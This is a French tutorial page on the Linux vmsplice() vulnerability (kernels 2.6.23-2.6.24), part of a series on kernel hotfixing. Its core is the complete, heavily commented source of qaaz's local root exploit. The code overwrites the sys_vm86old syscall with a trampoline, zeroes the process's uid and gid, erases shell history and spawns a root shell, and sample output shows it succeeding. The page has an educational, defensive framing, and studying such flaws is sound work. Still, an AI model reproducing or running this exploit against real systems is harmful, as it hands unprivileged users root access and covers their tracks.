Exploit root Vmsplice


<< Le noyau Linux Hotfix >>


II°) La vulnérabilité de vmsplice()

L'appel système sys_vmsplice()
   L'appel système vmsplice est défini dans fs/splice.c. Il sert à rattacher des pages de mémoire à un tube, les tubes étant l'un des moyens de communication inter-processus discutés dans la partie précédente. Un tube est une FIFO associé à deux descripteurs de fichier : l'un en lecture et l'autre en écriture.
L'appel vmsplice prend quatre arguments : le premier est un descripteur de fichier associé à la pipe dans laquelle on veut projeter les pages mémoire, ou de laquelle on veut copier des données. Le deuxième est une structure iovec définie comme suit :
    struct iovec {
      void * iov_base;
      size_t iov_len;
    }
iov_base pointe vers le premier octer à copier ou vers lequel on copie, iov_len contient le nombre d'octets à copier.
Le troisème argument est un entier et signifie le nombre de segments du type définit par le deuxième argument qu'il faut copier. Enfin, le dernier argument peut contenir différents flags qui permettent de mettre en place ou non différentes options (voir la page du manuel associée).
Le code de cet appel système faisait appel à deux routines vulnérables. En fait, ces routines ne vérifiaient pas si iov_base pointait vers de données appartenant à l'utilisateur ou non (effectivement, tout pointeur venant de l'espace utilisateur doit être validé par la fonction access_ok() afin de restreindre les possibilités d'adressage à l'espace propre du processus). Autrement dit, il est possible d'écrire des données arbitraires à n'importe quelle adresse mémoire allouée ou de lire des données depuis n'importe quelle adresse arbitraire.

L'exploit root
   La première exploitation paraît donc particulièrement intéressante, car on peut remplacer n'importe quel code du Kernel pour qu'il fasse ce que l'on veut et c'est ce que nous allons maintenant illuster avec le programme d'exploitation le plus diffusé, écrit par qaaz, que nous avons abondamment commenté et que nous nous proposons de vous décrire. Attention, l'exécution de cet exploit remplacera l'un de vos appels systèmes (ici, vm86_old) par un code donnant le root à pratiquement quiconque l'exécute jusqu'au prochain redémarrage de la machine.
    /*
    * exp_vmsplice.c
    *
    * Linux vmsplice Local Root Exploit
    * By qaaz
    *
    * Linux 2.6.23 - 2.6.24
    */
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/uio.h>

    #define TARGET_PATTERN " sys_vm86old" //Appel système relativement obsolète
    #define TARGET_SYSCALL 113

    #ifndef __NR_vmsplice
    #define __NR_vmsplice 316
    #endif

    #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
    #define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)

    #define TRAMP_CODE (void *) trampoline
    #define TRAMP_SIZE ( sizeof(trampoline) - 1 )

    unsigned char trampoline[] =
      "\x8b\x5c\x24\x04" /* mov 0x4(%esp),%ebx */
      "\x8b\x4c\x24\x08" /* mov 0x8(%esp),%ecx */
      "\x81\xfb\x69\x7a\x00\x00" /* cmp $31337,%ebx */
      "\x75\x02" /* jne +2 */
      "\xff\xd1" /* call *%ecx */
      "\xb8\xea\xff\xff\xff" /* mov $-EINVAL,%eax */
      "\xc3" /* ret */
    ; //Bytecode : si le deuxième argument (ebx, offset 4 dans la pile) est 31337
    //appeller la fonction pointée par le troisième argument (ecx, offset 8)
    //Sinon retourner Invalid Value

    void die(char *msg, int err)
    {
      printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
      fflush(stdout);
      fflush(stderr);
      exit(1);
    }

    long get_target()
    //Retourne l'adresse du syscall TARGET_PATTERN en analysant /proc/kallsyms
    {
      FILE *f;
      long addr = 0;
      char line[128];

      f = fopen("/proc/kallsyms", "r");
      if (!f) die("/proc/kallsyms", errno);

      while (fgets(line, sizeof(line), f)) {
        if (strstr(line, TARGET_PATTERN)) {
          addr = strtoul(line, NULL, 16);
          break;
        }
      }

      fclose(f)
      ; return addr;
    }

    static inline __attribute__((always_inline))
    void * get_current()
    {
      unsigned long curr;
      __asm__ __volatile__ (
        "movl %%esp, %%eax ;"
        "andl %1, %%eax ;"
        "movl (%%eax), %0"
        : "=r" (curr)
        : "i" (~8191)
      );
      return (void *) curr;
    }

    static uint uid, gid;

    void kernel_code()
    //Ce code sera executé par le kernel
    {
      int i;
      uint *p = get_current(); //p pointe vers le contexte courant

      for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid && //On cherche la suite des uid et guid et on les remplace par 0 (root)
        p[2] == uid && p[3] == uid && //Cf struct task_struct dans linux/sched.h
        p[4] == gid && p[5] == gid &&
        p[6] == gid && p[7] == gid) {
          p[0] = p[1] = p[2] = p[3] = 0;
          p[4] = p[5] = p[6] = p[7] = 0;
          p = (uint *) ((char *)(p + 8) + sizeof(void *));
          p[0] = p[1] = p[2] = ~0;
          break;
        }
        p++;
      }
    }

    int main(int argc, char *argv[])
    {
      int pi[2];
      long addr;
      struct iovec iov;

      uid = getuid();
      gid = getgid();
      setresuid(uid, uid, uid); //Réinitialisation des id pour être sur que la reconnaissance du kernel code marchera
      setresgid(gid, gid, gid);

      printf("-----------------------------------\n");
      printf(" Linux vmsplice Local Root Exploit\n");
      printf(" By qaaz\n");
      printf("-----------------------------------\n");

      if (!uid || !gid)
        die("!@#$", 0);

      addr = get_target();
      printf("[+] addr: 0x%lx\n", addr);

      if (pipe(pi) < 0)
        die("pipe", errno);

      iov.iov_base = (void *) addr;
      iov.iov_len = TRAMP_SIZE;

      write(pi[1], TRAMP_CODE, TRAMP_SIZE);
      _vmsplice(pi[0], &iov, 1, 0);
        //On appelle vmsplice qui va insérer à l'adresse iov.iov_base
        //(l'adresse du sycall que l'on a trouvée plus haut)
        //le contenu de la pipe (le trampoline)
        //Autrement dit, quand on appellera ce syscall, on va exécuter le trampoline
        //et c'est ce que gimmeroot fait


      gimmeroot(); //Le trampoline va appeller kernel_code() et le tour est joué.

      if (getuid() != 0)
        die("wtf", 0);

      printf("[+] root\n");
      fflush(stdout);
      fflush(stderr);
      putenv("HISTFILE=/dev/null"); //Enlever l'eventuel historique
      execl("/bin/bash", "bash", NULL);
      die("/bin/bash", errno);
      return 0;
    }

Finalement, le principe de ce programme est relativement simple. En voici les principales étapes :
    - Tout d'abord, on choisit arbitrairement un appel système duquel on va remplacer le code (ici sys_vm86old, qui est relativement obsolète).
    - Ensuite, on réinitialise les user id et group id à leur valeur originelle, juste pour assurer le bon fonctionnement du kernel code
    - Puis, addr = get_target() se charge de lire /proc/kallsyms afin de trouver l'adresse du syscall choisi
    - On créé un tube (ou pipe)
    - On remplit la structure iovec en plaçant l'adresse de base à l'adresse du syscall et en indiquant une longueur égale à celle du trampoline
    - On écrit dans la pipe le trampoline
    - On exécute vmsplice() avec le côté lecture de la pipe et la structure iovec en argument. Autrement dit, on demande de recopier le contenu de
    la pipe à l'adresse du syscall. Par conséquent, le syscall sys_vm86old va désormais contenir le code contenant dans le trampoline.
    - On execute gimmeroot() qui va tout simplement appeller le syscall et exécuter le trampoline :
      -> On place le deuxième argument de l'appel (donc le premier argument du syscall, puisque le premier argument de l'appel est le numéro du syscall) dans ebx, ici 31337
      -> On place le troisième argument de l'appel dans ecx, ici l'adresse de la fonction kernel_code()
      -> On compare ebx à 31337
      -> En cas de non égalité, on retourne EINVAL
      -> Sinon, et c'est le cas ici, on appelle la fonction présente à l'adresse kernel_code :
        => On récupère un pointeur vers le contexte courant grâce à get_current() (le contexte est stocké dans une structure de type task_struct définie dans include/linux/sched.h).
        => Environ au milieu de cette structure se trouve
          uid_t uid,euid,suid,fsuid;
          gid_t gid,egid,sgid,fsgid;
        On recherche donc l'emplacement de ces octets, puis on les remplace tous par des 0 (ID du root)
        => On retourne vers l'appelant (code du trampoline)
      -> On retourne vers l'appelant(code du main)
    - On enlève l'historique en changeant la variable d'environnement associée
    - On démarre un shell (root donc)
Et le tour est joué :
    $ gcc -o exp_vmsplice exp_vmsplice.c && ./exp_vmsplice
    -----------------------------------
    Linux vmsplice Local Root Exploit
    By qaaz
    -----------------------------------
    [+] addr: 0xc011935e
    [+] root
    # whoami
    root
    #
Comme vous pouvez le voir, cette vulnérabilité est une menace relativement sérieuse pour tous les serveurs ou PC, professionels ou personnels, d'autant que n'importe qui est en mesure de posséder ce genre de programmes, puisqu'ils permettent également aux administrateurs de tester la vulnérabilité ou non de leurs serveurs. Ainsi, sans réellement comprendre ce qu'il fait, le premier venu peut prendre le root sur un système auquel il a accès. Puisque ce n'est pas toujours possible de faire des mises à jour des noyaux ou de redémarrer des serveurs, il devient important de pouvoir faire ce qu'on appelle un hotfix, ou réparation à chaud.

<< Le noyau Linux Hotfix >>



0 Commentaires




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.